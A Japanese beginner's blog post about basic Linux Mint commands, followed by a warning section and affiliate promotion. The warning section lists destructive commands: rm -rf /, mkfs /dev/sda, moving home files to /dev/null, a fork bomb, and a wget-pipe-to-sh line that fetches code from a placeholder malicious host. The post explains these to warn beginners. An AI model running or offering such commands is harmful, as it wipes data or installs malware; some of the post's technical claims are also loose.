超初心者LinuxMintユーザーが覚えるべき コマンド (絶対使っちゃいけないコマンドも紹介)

ManjaroLinux

Linuxを使い始めたけど コマンド 操作が分からない
ターミナルとか コマンド とか間違ったら大変なんじゃないの?
Windowsでは コマンド 操作はやっていなかったのに必要なの?
コマンド操作で何ができるのか?
基本的なコマンドや構文が知りたい
もっと詳しくコマンド操作を理解するにはどうしたらいいの?

 

Linuxの コマンド 操作を理解するとできることが劇的に増えます

この記事では、Linuxの初心者の方向けにコマンド操作について紹介します。
コマンド操作を理解することで、Linuxでできることが飛躍的に増えます。
あなたのLinuxマシンのカスタマイズが簡単になります。
ちょっとした不具合や、トラブルへの対処ができるようになります。

ターミナルと コマンド

コマンド

まずはターミナルとコマンドという言葉の意味を理解しましょう。

ターミナル

Linuxでいう「ターミナル」とは、GUI上で開くプログラムの一つで、文字入力によるパソコン操作を提供するものです。
GUIがGraphical User Interfaceの略であるのに対し、CUIはCharacter User Interfaceの略になります。

具体的には、ターミナルを立ち上げるとコンソール画面にカーソルが表示され、特定のコマンドを入力することによりパソコンが動作します。
その動作は、GUI上での操作と同様ですが、コマンド操作に対して返される反応はターミナル上に表示されます。

 コマンド

「コマンド」とは直訳すると「命令」になります。

ターミナルの画面で「コマンド」を入力することで、「コンピュータに命令」を出すことになります。

普段は、マウスでクリックして「命令」を下しているものを、コマンドによって行うというイメージです。

パソコン歴が長い人はご存知の通り、コンピューターにGUIがなかった時代は、すべてCUIでコマンド入力によりパソコンを操作していました。
Linuxのディストリビューションのなかには、すべての操作をコマンドで行うものもあります。

例えば「apt-get 〜」というコマンドを実行することで、「アプリをインストールする」操作が行われます。

コマンドは正しい書式で入力されれば、忠実に実行されます。
実行前に確認が入ることはほとんどありません。
ファイル削除など、危険なコマンドを実行する時は、特に注意しましょう。

また、コマンドを入力する場所や、入力した内容のことを「コマンドライン」と呼びます。

 コマンド 操作でできること

コマンド操作でできることは何でしょう。
端的にいえば、OSに対して全ての命令を下すことができます。
ディストリビューションで提供されるGUI上でできることよりも、詳細で効率の良い操作が可能です。

例えば、定形業務のように、繰り返し、複数の操作を順番に実行したい場合などです。
この場合、「実行ファイル」と呼ばれるいくつものコマンドを記述したファイルを作成しておきます。
そして、そのファイルをターミナルに読み込ませることで、ほぼ自動で処理を行うことができます。
同じことをGUIで行う場合、一つ一つの動作をクリックで行うため、毎回手動ですべての処理を行わなくてはいけません。

便利なコマンド操作ですが、注意するべきこともあります。
あなたの操作に忠実であるがゆえに、指定した全てのファイルを消去するような、OS自身を破壊してしまうコマンドも簡単に実行できてしまうため、始めのうちは間違いのないように慎重にコマンド入力を行いましょう。

Windowsには コマンド はないの?

Windowsにもコマンド操作を行う「コマンドプロンプト」があります。
トラブルシューティングなどで使用することが稀にありますが、普段の操作で使用する機会はあまりありません。
機能や、使うことのできるコマンドは、Linuxと同じような構成になっているので、使いこなすことができれば強力な武器になります。
Windowsは初期のリリースからしばらくの間は、前身にあたるMS-DOSというCUIベースのOSが搭載されており、GUIと切り替えて使用することができていました。
Windows Meが最後のMS-DOS搭載OSとなり、その後コマンドプロンプトに移行したという経緯があります。

 コマンド は間違ったらダメ?

コマンド入力を間違ったらどうなるでしょう。
もちろん間違えないに越したことはありませんが、人間いつも完璧というわけにはいきません。
コマンドには正しい書式があって、書式の間違いの場合はターミナルからエラーが返ってきて、コマンドは実行されません。
書式が合っていても、引数や指定する項目が間違っている場合は、意図とは違う内容で実行されたり、エラーが返ってくることもあります。
意図しない内容で実行されると、様々なトラブルが起きる可能性があります。
目的のコマンドとは違うコマンドを入力し、書式が合っている場合は、間違ったコマンドで実行されます。
誤って入力したコマンドが、破壊力抜群の削除系コマンドだった場合は悲劇です。
トラブルを避けるためにも、コマンドの意味と内容を理解して、誤りが無いように気をつけて入力しましょう。

ライトなLinuxユーザーでも覚えておきたい コマンド

コマンド

LinuxMintやUbuntuを使い始めた人は、ユーザーフレンドリーなGUI環境に使いやすさを感じているのではないでしょうか。

真っ黒な画面にコマンドを入力することに抵抗がある人も多いでしょう。
Linuxのコマンドは膨大な数があり、ベテランエンジニアでもすべてのコマンドを把握している人はわずかだと思います。

日常のパソコンの利用では、頻繁に利用するLinuxコマンドは、とても限られています。

今回はよく使うインストール周りのコマンドを紹介します。
これらのコマンドを使えるようにしておくことで、アプリを追加したり、アプリに依存しない操作をしたい時に、スムーズにできることでしょう。

sudo (super user do / substitute user do)

sudoとは、一般ユーザーが管理者権限でプログラムを実行したい場合に使用することが多いです。

実行したいコマンドの前に「sudo」と表記することで、「スーパーユーザー(rootユーザー)」の権限で実行することができます。

sudoコマンドの実行には事前に「sudoers」の設定が必要になります。
「sudoers」とは、sudoコマンドで変更することができるユーザーと、実行できるコマンドを記述する設定ファイルです。
LinuxMintでは、OSインストール時のユーザーは、自動でwheelグループとsudoグループに所属するように設定されているため、sudoersの設定をしなくてもsudoを実行できます。

sudoコマンドの書式

sudo [オプション] [コマンド]

次に紹介するaptと組み合わせて使うことが多くあるので、例として以下に記載します。

sudo apt install pix

これは、画像管理アプリ「pix」を管理者権限でインストールせよ、というコマンドになります。

sudoコマンドには多くのオプションが用意されています。
パスワードに関係するものが多くありますが、個人が自宅のパソコンのみでLinuxを使用している場合、オプションを使用することはあまりないと思います。

apt (Advanced Packaging Tool)

aptコマンドは、Debianベースのディストリビューションで使われパッケージ管理のコマンドです。
Red Hat系のディストリでは「yum」、もしくは「rpm」が同じ機能のコマンドになります。

aptコマンドは、LinuxOSの導入当初など、新たなアプリをインストールするときに頻繁に使用します。

LinuxMintの「ソフトウェアの管理」で見つけられないアプリも、正式なパッケージ名がわかっていればaptコマンドでインストールが可能です。
また、aptはインストールだけでなく、パッケージの削除や、アップグレードにも使用されます。

aptコマンドの書式

apt [オプション] コマンド [引数:パッケージ名など]

aptコマンドは単体で使うのではなく、aptに続くコマンドやオプション、目的のパッケージ名と組み合わせて使用します。

例えば、

apt install audacious

これは、「音楽アプリの「audacious」のパッケージをインストールせよ」というコマンドになります。

aptの主なコマンドは次のものです。

installアプリのパッケージのインストール
remove指定したパッケージの削除
updateパッケージのインデックスファイルの更新
upgradeパッケージをまとめて更新
full-upgradeパッケージの更新(更新により使用できなくなるパッケージの削除など調整も行う)
listパッケージの一覧を表示
searchパッケージの説明からキーワード検索し該当するものを表示する
showパッケージの情報を表示する

autoremove

autoremoveは、aptコマンドと組み合わせて使用するコマンドの一つです。

ソフトの更新や、アンインストールしたときなど、どのパッケージからも必要とされなくなったパッケージが発生します。
その不要となったパッケージを、一括で削除するためのコマンドです。

autoremoveの書式

sudo apt autoremove

aptのコマンドの一つである「remove」が指定されたパッケージを削除するのに対し、「autoremove」は削除対象を指定しません。

依存関係がないパッケージを探して削除してくれます。

依存関係がなくなったパッケージが発生している場合、aptやapt-getコマンドを使用したときにautoremoveを行うよう、毎回表示されます。

ls (ListSegment)

lsコマンドは、ファイルやディレクトリの情報を表示するコマンドです。

通常の操作をCUIで行う人(エンジニアなど)にとっては、頻繁に使用するコマンドといわれています。

GUIでの操作をメインにしている人にとっては、あまり使うことのないコマンドですが、ターミナル上でなにかの操作を行う際には必ずといっていいほど使うことになりますので覚えておいて損はありません。

lsの基本書式

ls

基本的にはこれだけです。
lsと入力することで、現在いるディレクトリのファイル名やフォルダ名が一覧表示されます。

lsコマンドにはオプションがたくさんあります。
例えば

ls -a

と「-a」のオプションを指定すると、GUI上では非表示になっているファイルや、ファイル名の最初が「.」からはじまる設定ファイルのようなものも全て表示します。
その他にも、ファイルの詳細を表示する「-l」、更新順に表示する「-tl」などがあります。
興味がある方は、もっと詳しく記載しているサイトがたくさんあるのでのぞいてみてはいかがでしょう。

実行してはいけない コマンド

webサイトを検索しながら、Linuxの使い方を学んでいるときに、見慣れないコマンドに出くわすことがあります。
一つ一つ調べて安全性を確認してから実行するのが良いのですが、急いでいるときなどついまるごとコピーしてしまうことがあります。
もし、そこに悪意のあるコマンドや、間違いがあったとしたら、取り返しのつかないトラブルになることがあります。
ここでは、不用意に実行してはいけないコマンドについていくつか紹介します。

rm -rf

rm -rfは、フォルダーとその内容を削除するコマンドです。
もっとも注意をして実行しなくてはいけないコマンドです。

ただし、タイプミスや知識不足によって、回復できないほどにシステムを壊してしまう可能性があります。

rmコマンドにはいくつかのオプションがあります。
その内容をよく理解しておきましょう。

rmコマンドの書式

rm [オプション] ファイル名1 ファイル名2 ファイル名3……

rmコマンドの後ろにオプションとファイル名を指定することで、削除が行われます。

rm -r   ディレクトリそのものを削除対象とする(空のフォルダも含む)
rm -f   読み取り専用ファイルもエラーメッセージを表示せずに削除する
rm -rf /  ルートディレクトリ内のすべてを強制的に削除する
rm -rf *  現在のディレクトリ内のすべてを強制的に削除する
rm -rf .  現在のフォルダとサブフォルダを強制的に削除する
rm -i  ファイルの削除前に確認する

rm-rfコマンドはLinuxユーザーの間で「滅びの呪文」と呼ばれていますので実行するときはよく注意しましょう。

ただし、現在のLinuxでは、rm -rfの実行前に警告メッセージが表示され、すぐには実行されないようになっているそうです。
僕は怖くて試したことはありませんが・・・。

iptablesコマンド

iptablesコマンドは、LinuxカーネルのIPパケットフィルタのテーブルを設定・管理・検査するためのものです。
ファイアウォールをいじったりしなければ使うことのないコマンドですが、あなたが何かを調べていてこのコマンドを含むコマンドを入力する必要があるときは、よく確認してからにしたほうが良いでしょう。

このコマンドを不用意に実行すると、システムを操作することができなくなります。
解除するためには、再起動するのみです。
再起動さえすれば、システムが損傷することはないのですが、作業中のデータなどがあった場合は失われることになります。

mkfs /dev/sda

mkfsコマンドは、ハードディスク、SSDなどをフォーマットするものです。
/dev/sdaはシステムをインストールしているパーテーションです。

このコマンドを実行することで、システムドライブをフォーマットすることになります。
その結果は、もちろんシステムが回復不能な状態になります。

mkfsコマンドは、新たにドライブを購入したときや、ドライブを完全にフォーマットしたいときにのみ使用します。

ネットなどで情報を調べていて、このコマンドの表記がでてきたら要注意です。
どのドライブ、ブロックを意図したものなのかよく確認してから実行しましょう。

mv [フォルダー名]/dev/null

mvコマンドは、ファイル・デイレクトリを移動するコマンドです。

mv [フォルダー名]/dev/null

このコマンドは、「フォルダ」を /dev/nullに移動するものです。

/dev/null もしくは nullデバイスは、書き込まれたすべてのデータを消去し、操作が完了したことをリアクションする特殊なファイルです。
英語圏では「black hole(ブラックホール)」「bit bucket(ビットバケツ)」などと呼ばれるものです。

例えば、

mv /home/user/* /dev/null

このようなコマンドを実行すると、ユーザーディレクトリのすべての内容が /dev/null に移動され、即座にすべて消去されます。
つまり、ユーザーデータがブラックホールに吸い込まれた状態になります。

:(){:|:&};:

有名なFork爆弾です。
これは「:」と呼ばれる関数を定義することによって動作します。
この関数は、フォアグラウンドで1回、バックグラウンドで1回、合計2回呼び出します。
システムがフリーズするまで、何度も何度も実行を続けますが、最近のシステムでは一定時間が経過するとプロセスが終了するため、それほど大きな脅威とは言えないようです。

wget http:// malicious_source -O- | sh

このコマンドは、マルウェアなどをサイトからダウンロードして実行するものです。

Wgetコマンドはスクリプトをダウンロードするコマンドで、shコマンドはダウンロードしたスクリプトを実行します。

日々Linuxシステムを使用していて、パッケージとスクリプトをダウンロードする際は、ソースをよく理解しておかないといけません。
ダウンロードは信頼できるソースからのみ、実行するべきです。

きちんと理解して危険を遠ざけることが大事

Linuxは、Windowsなどに比べて自由度が高いシステムです。
それ故に、一般ユーザーでもシステムの不具合や破損につながるような操作が簡単にできてしまいます。
特にコマンド操作は、非常に便利ですが、ちょっとしたケアレスミスや無知のせいで、トラブルにつながる場合があります。
普段実行しないような操作、ネットや本などの情報については、検証して内容を理解した上で実行することが、あなた自身のシステムを守ることにつながります。

また今回紹介したのは、ほんのひと握りの知識にすぎません。
もっと深く理解するには、ネットの情報だけでなく、体系的に学ぶのが一番の早道です。

しかし、スクールのようなところは費用や時間など、制約が多いのも確かです。
そんな中で、僕がおすすめしたいのは「Udemy」です。
Udemyは、様々なレベルの講座が、低料金で提供されており、あなたの好みに合う講座をチョイスして、受講することができます。
受講料金も安いもので数百円から、数千円程度とリーズナブルなので、ちょっとお試しで受講するにもハードルが低いです。

僕も、Linuxの理解を深めるために、いくつかの講座を受講しましたが、とてもわかりやすく短期間に知識を得られました。

Udemyの講座は、厳しい競争原理にさらされており、より分かりやすく、より内容の濃いものしか生き残ることができないようになっています。

Udemyの利用方法は簡単です。
こちらのリンクからのぞいてみてはいかがでしょうか。

Linuxディストリビューションを試すなら中古PCもおすすめ

Linuxにはたくさんのディストリビューションがあって、それぞれに特徴があります。
いろいろ試してみて、あなたに合ったOSが見つかると、PCを使うのも楽しくなります。
また、LinuxはWindowsに比べて動作が軽く、古いパソコンでも軽快に動作するものも多くあります。

ご自宅の古くなったパソコンを活用したり、テスト用に少し古いパソコンを安く買って試してみるのもよいでしょう。
おおまかな目安ですが、Intel製CPUであれば、第6世代以降のcore i3、第4世代以降のcore i5が積まれたパソコンであれば、Linuxディストリビューションでたくさんのことができでしょう。
このグレードのパソコンは、中古通販サイトを覗いてみると、ノートパソコンの安いものでは1万円台、高くても4万円程度で購入できるものが多くあります。
(デスクトップはもう少し幅があるようです)

店舗に行くのが面倒なあなたには、通販サイトがおすすめです。
各機種のスペック、細かな特徴まで掲載されているので、実機を見なくても安心して購入することができます。
最後に僕のおすすめの通販サイトのリンクを2つ貼っておきます。

激安1万円〜のパソコンなら【PC WRAP】

 

 

関連記事:
Linux ファイルシステム 階層とディレクトリを理解しよう(Linux初心者向け)
LinuxMintとWindowsで ファイル共有 する方法(初心者が失敗するポイントも紹介)
(40代以上のPC弱者必見) PCHack のパソコン講座で即戦力として仕事に役立つスキルを

コメント

タイトルとURLをコピーしました